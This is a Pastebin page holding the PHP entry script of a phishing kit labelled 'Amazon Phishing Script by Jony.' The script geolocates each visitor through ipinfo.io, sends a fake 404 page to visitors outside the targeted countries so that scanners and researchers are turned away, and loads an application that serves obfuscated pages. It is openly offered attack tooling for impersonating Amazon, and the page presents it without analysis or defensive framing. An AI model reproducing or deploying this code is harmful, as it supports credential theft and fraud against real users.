Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- /**
- Amazon Phishing Script by Jony.
- */
- define('SYSTEM', true);
- session_start();
- $cfg = require_once __DIR__ . '/config.php';
- $ch = curl_init('http://ipinfo.io/' . $_SERVER['REMOTE_ADDR']);
- curl_setopt_array($ch, [
- CURLOPT_RETURNTRANSFER => true,
- CURLOPT_HEADER => false,
- CURLOPT_FOLLOWLOCATION => true,
- CURLOPT_AUTOREFERER => true,
- CURLOPT_MAXREDIRS => 10,
- CURLOPT_CONNECTTIMEOUT => 120,
- CURLOPT_TIMEOUT => 120,
- CURLOPT_ENCODING => '',
- CURLOPT_USERAGENT => ''
- ]);
- $response = curl_exec($ch);
- curl_close($ch);
- $json = json_decode($response, true);
- if(isset($json['country']) && !in_array(strtoupper($json['country']), (array) $cfg->geo)) {
- header('HTTP/1.0 404 Not Found');
- die('<h1>Not found</h1>');
- }
- spl_autoload_register(function($className) {
- $classNameSplit = explode('\\', $className);
- $class = implode('/', $classNameSplit) . '.php';
- if(file_exists($class)) {
- require_once $class;
- }
- });
- use system\application\Application;
- use system\utils\Obfuscator;
- $application = new Application($cfg, isset($_REQUEST['r']) ? '/' . $_REQUEST['r'] : '/', new Obfuscator());
- $application->load();
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement